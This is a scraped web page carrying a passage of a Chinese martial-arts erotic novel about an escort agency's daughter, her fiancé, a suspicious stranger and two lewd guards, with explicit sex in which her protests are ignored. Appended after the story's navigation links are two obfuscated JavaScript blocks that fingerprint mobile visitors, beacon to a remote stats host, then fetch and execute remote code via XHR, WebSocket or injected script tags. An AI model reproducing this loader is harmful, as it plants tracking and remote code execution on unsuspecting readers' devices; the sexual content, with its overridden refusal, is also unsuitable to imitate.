老相士瞟了陆玄霜一眼,向白少丁问道:“你们是夫妻吗?”

白少丁笑道:“她是我的师妹,不过我们也快要成亲了!”与陆玄霜甜蜜地对望一眼。

老相士摇头叹道:“年青人美色当前,大祸临头了而不自知。这位公子,老夫有些话,听起来可能很不受用,

但事关公子你的生死,老夫不可见死不救。忠言逆耳,希望你听得进去。”

白少丁见他语气凝重,抱拳道:“还请老先生赐教。”

那相士道:“老夫穷究相术数十年,向来是铁口直断,从不虚言;方才我见你天庭起乌云,印堂又发黑,照我

推算,不出三日,公子你必有血光之灾,恐有死于非命之虞!”

陆玄霜闻言,不禁怒从心生,叱道:“你这江湖郎中,信口雌黄,胡说八道什么!”拉着白少丁便走。

那相士急道:“两位且慢走!老夫绝非虚言!公子,这三日内切记留在家中,不可出门,或可躲过一劫!”

白少丁淡淡笑道:“多谢老先生关心,我自然体会得。”

那相士旋而望着陆玄霜,神色异常地嘟哝道:“这位小姐的劫难,要化解也不难,就只怕小姐不肯听从。”

陆玄霜怒道:“你还胡说!”

白少丁心中颇为不安,问道:“敢问老先生,我师妹有何劫难?还请指点一二。”

老相士瞧了瞧陆玄霜怒目相视的模样,低声道:“我不敢说,免得这位小姐又出言谩骂。”

白少丁笑道:“我师妹她绝无恶意,方才若有得罪之处,还请见谅。”

那相士见白少丁谦恭有礼,心中大为受用,说道:“好吧,我这就说出来,你们信也好,不信也好,反正天命

循环,自有定数。”

暧昧地瞧了陆玄霜一眼,说道:“这位小姐年纪虽轻,却长得醉眼如媚,面泛桃花,胴体若酥,姿态撩人,依

老夫之见,将来终必落红尘,假饶不是娼门女,也是屏风后立人。若要躲过此风尘之劫,三年之内绝不可破了处子

之身,否则神仙难解。。。”

陆玄霜闻言,更是火冒三千丈。自己堂堂“威远镖局”的大小姐,竟被路上的江湖术士指为卖笑卖身的娼妓,

忿怒难消之下,挥掌重重掴了那相士一记耳光。

路上的行人见状,皆围了过来看热闹。

那相士着痛颊,怒道:“你这泼辣的丫头,老夫的话,你不信就算了,干么打人呢?唉唷。。。”

陆玄霜咬牙道:“我不但打你,我还要砸了你的招牌!”说罢,气冲冲地走到街旁那相士的命相摊子,将摊子

砸毁,也将写着“铁口直断”四个大字的白色布幔撕成碎布。

老相士在一旁急得直跳脚,白少丁拉住发疯似的陆玄霜,向那相士不悦地说道:“你说我劫难临身也就罢了,

怎可信口胡言,污辱我家师妹?砸了你的招牌,也算便宜你了!”转头向陆玄霜道:“师妹,别理他!咱们走!”

两人纵马奔驰,头也不回地离开现场。

老相士恨恨道:“年轻人血气方刚,难容逆耳忠言,将来必定后悔莫及!”

一名看热闹的妇人道:“你知道他们是谁吗?他们可是‘威远镖局’的白少丁少爷及陆玄霜小姐哩,你居然敢

得罪他们?只砸了你的招牌,已算对你很仁慈了!”

那相士道:“天命定数,便是天皇老子也躲不掉,区区镖局的少爷小姐又如何?哼!陆玄霜你这丫头,看你还

能神气到几时?”

白少丁与陆玄霜受到老相士一番话的影响,心情大为不悦;尤其是陆玄霜,更加怒气难遏,即便是白少丁如何

地温言相劝,也难令她转怒为喜;两人快马加鞭,一路往“威远镖局”奔驰。

两骑将到镖局,却远远望见大门外聚集着许多人。两人对望一眼,均想:“镖局里出了什么事?”立即催马上

前。

认识白少丁与陆玄霜的路人纷纷叫道:“陆大小姐,你们镖局出事了!”

“不得了!衙门的捕快都来了!”

“我知道是怎么一回事,大小姐,让我告诉你!”

陆玄霜感到不祥,即刻纵下马来,奔跑进去,白少丁紧跟在后,众人急忙让出一条路来。

两人才进大厅,便看到陆氏兄弟、众镖头、数名镖师及一位戴着红缨帽的官差,正是福州衙门当差的郑捕头。

白、陆两人见众人一脸难看的表情,大感不安,正欲出言询问时,只见一干捕快陆续由厅道内走出来,向郑捕

头道:“禀捕头,查无谢锋形迹。”

郑捕头点点头,向陆德威抱拳道:“陆总镖头,贵镖局谢锋谢镖头今个儿在北门老街的‘如意酒坊’中无端杀

人,经仵作详验,确是一拳毙命;如今城门已设关卡,谅想谢锋还在城中,但望总镖头若发现谢锋形迹,请立即通

报,以匡大法。”

陆德威没力地说道:“郑捕头放心,老夫必定尽力与官府配合,亲自带着谢镖头到衙门自首投案的。”郑捕头

谢了扰,便领了一干捕快离开。

白少丁蹙眉道:“谢镖头怎么可能无端杀人?官爷们是不是搞错了?”

陆德远叹道:“当时在场众人都亲眼目睹谢镖头发狂杀人,还假得了吗?”向陆德威问道:“大哥,这事要如

何处理?”

陆德威一脸哀伤地摇头道:“谢镖头虽然脾气本就不好,但也不致无端杀人,此事颇有蹊跷,我一定要查个水

落石出不可。有劳诸位弟兄们出外寻找,务必要把他带回来,押镖之日,暂时延后!”

众人应诺,尽皆出外找寻;白少丁道:“师妹,我也去帮忙,你留在家里吧!”却早已不见陆玄霜踪影。白少

丁心想:“难道师妹回房去了?”

白少丁猜得没错,当官差一走,陆玄霜也回房去了。

此时她躺在床上,抱着绣花枕,双眼黯然,一脸郁郁之色。谢锋为何无端杀人,陆玄霜再清楚也不过了;若非

自己一时口没遮拦,大大羞辱了谢峰,也不会酿成了今日的悲剧。

陆玄霜的心中,充满了罪恶感,觉得无颜面对大家。她担心,倘若大家知道了事情的真相,必定都会怪罪于她,

尤其是白少丁,更不会原谅她。想到这里,陆玄霜顿时双膝下跪,合十默祈,保佑谢锋能远避他乡,永远不要落网。

经过整整一天的搜寻,众镖头、镖师、趟子手们,也都陆陆续续回到镖局中,也带回了不少小道消息。有人说

谢锋化装成江湖郎中,通过关卡,逃往大漠去了;有人说谢锋畏罪自杀了;更有人说谢锋逃入深山躲起来了。各种

消息众说纷纭,却没有任何的证据足以证明。

无论如何,找不到谢锋,陆玄霜暂时松了一口气;可是镖局人众皆已会齐,唯独白少丁已整整离开一日夜,却

依然不见形踪,众人却又不得不担心起来;尤其是陆玄霜,更是急得如热锅上的蚂蚁;想起前日那老相士的警告,

更是心急如焚。

正当大伙儿决定再分批出去寻找谢锋及白少丁两人时,一名家丁忽由门外闯了进来,气急败坏地嚷道:“不得

了不得了!白少爷回来了,抱。。。抱着谢镖头的尸体回来了!”

众人闻言大惊,数十道目光一起射向大门口。只见白少丁果真抱着谢锋的身体跨门而入,谢锋的腹中插了一柄

匕首,两眼翻白,已然气绝多时。

众人无不骇然,纷纷七嘴八舌地问道:“白少爷,这到底是怎么一回事?”

“谢锋怎么死的?谁杀了他?”

“白少爷,你在那里找到他的?”

白少丁总算平安回来了,陆玄霜心中的大石头终于落了地;她见白少丁的下鄂处隐约有一道小小的伤痕,不禁

兴起怜惜之情,轻抚他的伤处,幽幽说道:“一整天你到那里去了?可知人家有多担心你?这儿怎么受伤了?”

岂料白少丁竟一把拨开她的手,怒眼相向;瞬间眼神又趋于平和,冷然道:“被剑割伤的,不碍事。”

众人听了,不禁又纷纷问道:“割伤的?是被谁割伤的?”

“难道是谢锋干的?”

“白少爷,到底是怎么一回事啊?”厅堂里又响起了此起彼落的嘈杂声。

究竟吵些什么,陆玄霜一点也不知道,因为她已被白少丁方才的举动吓傻了。从小到大,白少丁一直呵护讨好

着她,从未对她说过一句重话,更不用说一手拨开她,又用这么凶恶的眼神瞪着她,虽然只是一眨眼的工夫,却使

她觉得和眼前这位大师哥的距离变得好远好远,几乎不认识这个人了。

陆德威一道声音划过厅中的嘈杂声:“少丁,你就把事情的来笼去脉告诉大家吧!”

“是。”白少丁应了一声,微微转头望着身后的一名蓝衫青年。这时众人才注意到整个大厅之中,还有一个外

人存在。

陆德威道:“咦?这位公子是谁?少丁,怎么不引见引见?”

白少丁嗫嚅道:“哦,他。。。他是。。。”

“。。。”蓝衫青年笑道:“白少爷遽失朋友,一时之间心乱如麻,所以事情的始末,还是由在下来说吧!”

“啊!是他!”当陆玄霜看到这名蓝衫青年时,一眼便认出他,正是当日在镖局门口巧遇的那位俊美男子。

只听得蓝衫青年道:“在下姓花名弄蝶,广东广州人士,昨日巧遇白兄与这名死者发生争执,事情的来笼去脉,

在下都看在眼里,是以受白兄请托,做个目击证人,证明死者是自杀身亡的,以脱白兄杀人之嫌。”

众人一听谢峰乃自杀而死,不禁哗然。

陆德威急道:“谢镖头自杀身亡?这。。。怎么可能?花公子,还请指教一二。”

花弄蝶笑道:“陆英雄言重了,在下必定知无不言,言无不尽。”花弄蝶的一番详述,终于解除了众人心中的

大问号。

原来西街有一幢破旧的古屋,盛传闹鬼,所以荒废多年,无人敢入。花弄蝶寻幽探访,兴之所至,便进入一观

究竟,岂料竟撞见了藏匿其中的谢锋。谢锋为避免形迹败漏,动了杀机,欲取花弄蝶的性命;花弄蝶大喊救命,正

值危急之际,白少丁正巧过往,听到求救声,立即闯了进去,遂与谢锋缠斗了起来。几经久战,谢锋终于不敌而败,

遂立即掏出匕首,往自己腹中一捅,顿时气绝身亡。

谢锋死了,陆玄霜又是放心,又是伤心,再加上方才白少丁反常的举动,使得她心情极为低沉,听完了花弄蝶

的叙述后,也就先行离开了厅堂,黯然地回房去了。

深夜,陆玄霜静静地躺在床上,脑子里空空的,什么也没想,可是两道泪水,却沿着匀称的面庞滑了下来。也

不知过了多久,房门外“叩叩”的敲门声划破了寂静。

陆玄霜惊而坐起,低声道:“什。。。什么人?这么晚了。。。”

“我。。。我是白少丁,开门。”

陆玄霜吃了一惊,心想莫非白少丁是为对她的不礼貌前来道歉?想到这里,心中又是欣喜,又是生气,拭去了

脸上的泪水,强声道:“你走啦!谁稀罕你道歉?这么晚了,少打扰我的睡眠。”

却听得“碰”的一声,房门被撞开,白少丁闯了进来。

陆玄霜吃惊不已,抱着被褥一缩,颤声道:“你。。。你怎么可以。。。”白少丁反常的举动,确实把陆玄霜

吓着了。

白少丁哀怨地望了陆玄霜一眼,冷然道:“我有话要跟你说,随我来!”说罢迅速走出了房门。

陆玄霜略一迟疑,便也跳下床来,低声道:“大师哥,等我!”也倏地跟了出去。

两人从后门出了镖局后,便一路往西疾驰。陆玄霜跟在白少丁之后,见他一路上既不回头看看他,也不说一句

话,心中极为纳闷,不知大师哥葫芦里卖什么药;若在平时,一定要叫住他问个清楚,如今她觉得与这位大师哥心

中的距离变得好远好远,也就不便问些什么,只得紧紧跟在后头。

两人就这样一路西驰,约莫过了一刻钟,已飞驰在西街之上。此时正值深夜,四周一片黑暗,大地一片寂静,

陆玄霜觉得幢幢屋影越来越少,端的快到西街尽头,心中甚感不安,忍不住问道:“大师哥,你究竟要带我去那里?”

但见白少丁的形影往右一弯,进了一栋宅子。陆玄霜忙缓住去势,放眼一眺,但见四下杂草丛生,高出人顶;

宅子看来顶漏窗裂,破损不堪。

陆玄霜心头一颤:“这不是城西鬼屋吗?大师哥怎么。。。带我来这里?”她虽然胆大过人,但平时若要她深

夜进入这种盛传闹鬼的破宅,说什么也不会愿意。可是既然大师哥进去了,不禁打了个寒颤,也只好硬着头皮跟着

进去。

当陆玄霜蹑手蹑脚地走进了破宅大厅中时,白少丁正蹲在厅角点着火折。

陆玄霜皱眉道:“大师哥,这是鬼屋耶,你带我来这里干什么?”

白少丁点着了火,才缓缓转过头来,冷然道:“这是谢锋自尽的地方,你不觉得应该表示哀悼之意吗?”

陆玄霜嘟嘴道:“我相信爹爹早已备妥了谢锋的灵堂,要哀悼在灵堂就可以了,何必跑来这种阴森森的地方?

人家会害怕耶!”

白少丁面色一寒,恨恨道:“谢锋死了,你真的有心哀悼吗?当时我把他的尸体抱回镖局时,我看你连他的尸

体瞧也不瞧一眼,他是因你而死,你却毫不在乎,你。。。你当真如此绝情吗?”

陆玄霜心头大惊道:“大。。。大师哥,你都知道了?是谢锋。。。告诉你的吗?”

白少丁不答,反而自言自语道:“可怜的谢锋,真心诚意地爱着她,却得到这种悲惨的下场;可笑的谢锋,临

死之前,还妄想着她会稍微在乎你一点;谢锋啊谢锋!你死得太不值得了!”

陆玄霜听了,终于明白为何他自从回到镖局后,便开始透着古怪。想必是谢锋在自尽之前,已把事情的始末全

盘告诉了白少丁。她知白少丁心地善良,谢锋为自己的未婚妻终于导致自尽而亡的下场,而自己当时却来不及相救,

依他的个性,自然会感到十分歉咎,也自然会影响了对自己未婚妻的态度。

想通了这点,陆玄霜顿时释怀,她反手轻握他的手掌,柔声道:“大师哥,是我不好,我不该任性的,你切莫

难过。谢锋之死,我真的也很难过,事情都已经发生了,难过也无法挽救了,不是吗?”

白少丁咬牙道:“这么说,谢锋之死,是他自己活该倒楣了?”言语中带着责备的语气。

陆玄霜知他心情不好,也就不便计较,忙摇首道:“我不是这个意思。我是认为生死有命,并非勉强可得。若

命中注定谢锋今日非死不可,就算不是因为我的缘故,也必定会为了其他事情。谢锋今日畏罪自杀,也只能说是天

数使然,是他的命了。”

“哦?”白少丁冷笑道:“你倒是推得干干净净,一付事不关己的样子。那么如果当时我和谢锋在此缠斗时,

不慎被他所杀,那也是我的命,也是天数罗?”

陆玄霜忙伸出食、中二指抿住白少丁的唇,柔声道:“不许胡说,你这么善良,武功又这么好,老天爷是不会

瞎了眼的;如果。。。如果你当真有了万一,我。。。我也不想活了,我同你一起死。”一张酡红的俏脸依偎在白

少丁坚实的胸膛上;在火光的照耀下,更显得艳丽动人。

白少丁全身一颤,满脸通红,一付惊喜之色,嘴里嘟啷道:“这是梦吗?这 .。。这是真的吗?”声音细若蚊

蝇,几不可闻。

陆玄霜腻声道:“大师哥,你说什么?”

白少丁突而面露狂喜之色,自言自语道:“对呀!我是白少丁,是她的未婚夫婿呀!我还在怕什么?”忙伸出

双臂将她紧紧搂在怀里。

白少丁见陆玄霜不但不反抗,反而以身相受,不禁俊脸涨红,鼻孔喷出热气,左掌隔着衣衫,在陆玄霜纤细的

腰肢上游动着;抖动的右掌,也不疾不徐地往下移,渐渐地触及了她丰盈的臀部。

陆玄霜“嘤咛”一声,娇媚无比地白了白少丁一眼,佯嗔道:“讨厌,大师哥,你使坏。”话才说完,白少丁

的吻立即印在她的樱唇上。

陆玄霜先是一惊,继而轻“嘤”一声,仰唇相就。白少丁随即吐出舌头,舌尖抵住陆玄霜的牙龈上。

陆玄霜吃了一惊,伸手想把他推开,可是却使不出半点力量,反而不自觉地张开了嘴。

私底下,两人是浓情蜜意的情侣,接吻般的肌肤之亲,并不为奇,但也仅限于唇唇相贴罢了。用舌头引逗,却

是从来没有过的事,是以陆玄霜对他这种破天荒的举止,感到惊慌无措,若说不喜欢,却又不然。

两人的嘴唇紧紧地贴在一起,白少丁那火辣辣的舌尖,在陆玄霜的嘴内游动着,激起了她一股难以抑制的情欲,

也吐出了舌头,和他的厮缠在一起;就这样你来我往,互相引逗,激起了彼此一阵阵的情欲。

白少丁再也等不及了,那只在陆玄霜丰臀上游走的右掌,很快地滑入了她的裙腰里,抚摸着两腿之间的果实;

左掌也解开了她的衣襟,探入了肚兜之中,在她丰隆的乳峰上前后推移。

陆玄霜本能的扭动,想推开他,但他却搂得更紧;她一阵又一阵地颤动,嘴里不停地发出娇喘,软绵绵的娇躯,

已被他按在地上,他的双掌,也动得更加激烈了。

陆玄霜的衣衫被他衬去了,露出了葱绿抹胸,一痕雪脯。白少丁爱得发狂,在她那白嫩光泽的酥胸上,用唇慢

慢地吻着,用舌细细地舔着。

陆玄霜又爱又怕,低吟道:“大师哥,不要。。。”白少丁那里肯听?立即扯下了陆玄霜的抹胸,露出了她那

白腻丰满的乳房。

白少丁欲火中烧,再也按纳不住,低头舔着她晕红色的乳头,又迅速卸去了彼此的衣衫。在一番爱抚之后,陆

玄霜一阵头昏眼花,下体产生了一阵刺痛,低叫一声“哎呦”,随即把白少丁抱得紧紧的;在火光的照映下,只见

墙上投映的,是两道合而为一的影子。

三、枉得不洁身晨鸡初唱,东方天际,已现出鱼肚白色的朝曦。夜里负责看守镖物的史、陈二镖师,却双双倚

在库房门上打着盹,任凭晨曦越渐耀眼,却也无法将二人从好梦中照醒。

只听得史大口中喃喃有辞:“再摸一下。。。我的。。。小霜霜。。。再摸一下。。。就好了。。。”原来史

大说起梦呓了。睡梦中,陆玄霜赤身露体,风情万种地倚偎在史大结实的胸膛上,史大一手揉着陆玄霜的乳房,另

一手在她翘起的丰臀上尽情地摸索,大享艳福。

正值忘我之际,只听得耳边一个声音说道:“这位兄台,天亮了,你也该醒了。。。”史大眼睛一亮,只见花

弄蝶笑着脸站在面前,却哪还有陆玄霜的踪影呢?

史大揉揉眼,一定神,才知方才是在太虚梦境中,顿时一股怒气袭上心头,道:“你他妈的臭书生,叫你奶奶

的熊。。。”

陈忠顿时由睡梦中惊醒过来:“怎么回事?怎么回事?”

花弄蝶先是吃了一惊,继而躬身道:“失敬失敬,打扰了兄台的好梦;想必梦中的那位姑娘,定是十分娇美的

罗?”

史大惊骇道:“你。。。你怎么知道我作啥子梦?”

花弄蝶道:“你口中直嚷着什么。。。小霜霜,小霜霜?这是谁呀?”

陈忠抬头白了史大一眼,心中哼道:“史大这家伙,平时私底下嘴巴不干净,居然在梦中也敢乱来!”

史大脸上一阵羞红,心想:“不得了!这事若是传了出去,‘威远镖局’我还待得下吗?不堵住这书生的嘴可

不行!”于是哈哈笑道:“公子见笑了,梦中事岂可当真?方才头脑混沌失了礼数,还请公子别和我们这种粗汉子

一般见识。”说着向花弄蝶深深一揖,面露歉疚之色。

花弄蝶还礼道:“兄台你太客气了,打扰你的美梦,小弟原也有错。不知二位尊姓大名,小弟也好赔礼。”

陈忠见花弄蝶极为客气有礼,心中甚喜,遂抢先道:“我叫‘陈忠’,也有人叫我‘胖子陈’,你瞧瞧我的身

裁,这外号不虚吧?”挺挺自己肥胖的肚子,指着史大道:“这家伙叫‘史大’,酒色财气样样精通,所以把身子

弄得向皮包骨似的,你瞧,一点油水也没有。。。”说着说着,便伸手掐住了史大消瘦的面颊。史大“唿”的一拳,

击在陈忠的脑袋瓜子道:“啐!要你多事!”

花弄蝶笑道:“原来是史兄和陈兄。”

史大脑筋一转,道:“胖子陈没半点义气,老爱泄我的底。方才我所梦到的,是前些日子到妓院去风流的丑态,

没让公子见笑了。”

陈忠插嘴道:“才不呢!他方才梦到的小霜霜,正是。。。”史大急道:“闭嘴!”

花弄蝶“刷”地一声,敞开折扇轻摇道:“陆玄霜姑娘秀丽清新,貌美动人,乃是绝世美女,在下见她一次后,

便难以忘怀;史兄与陆姑娘朝夕相处,自然更加迷恋爱慕,也是意料中事。现下只有咱们三人,史兄也不需有太多

忌讳;大伙儿只要不摆在台面上说,自然不会惹出事端,况且在下也不是多嘴之人,史兄大可放宽心。”

史大笑道:“花兄所言甚是。”但心中却仍感不安。

花弄蝶笑道:“史兄迷恋陆姑娘,日有所思夜有所梦,在下自能体会,但所谓‘各有姻缘莫羡人’,在下略通

面相,方才趁两位熟睡之际,为两位看了看面相五官,发现二位天庭红润,面带桃花,相信三日之内,二位皆能娶

到娇妻。”

史、陈二镖师闻言一愕,不禁冲口问道:“是真的吗?”

花弄蝶折扇轻摇,神秘笑道:“是真是假,三日之内必见分晓。”向二人躬身一揖,告辞而去。

史、陈二人呆了半晌,皆不作声。过了一会儿,才由陈忠打破了寂静:“他说咱们要讨老婆了,是真的吗,”

史大皱眉道:“咱们活了三十几个年头了,一直讨不到老婆,短短三日之内可得娇妻?这太玄了,我不信!”

陈忠道:“如果上天当真赏给你一个老婆,你要是不要?”

史大邪笑道:“倘若有像咱们小霜霜那样美,便是只能玩她一天,我死也甘心。”

陈忠哈哈笑道:“好兄弟,咱们可真是臭味相投啊!”说罢两人相视大笑。

这时,另两名前来换班的镖师见了,不禁好奇问道:“什么事情这么高兴啊?”

史、陈二人对望一眼,神秘笑道:“不告诉你们!”说罢哼着歌相偕离开。

当日,陆氏兄弟把谢锋的案子在官府做了断后,便决定在将谢锋择日安葬后,继续完成押镖的任务。镖局里上

上下下得了消息,精神皆为之一振,一扫往日的阴霾。

三日后的夜晚,大地一片寂静。陆玄霜躺在床上翻来覆去的,毫无睡意。但闻街道上更夫敲了三响,陆玄霜不

由起了身,蹙眉道:“都已经三更天了,大师哥怎还不来


上一篇:美梦成真

下一篇:与老公的上司作爱


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};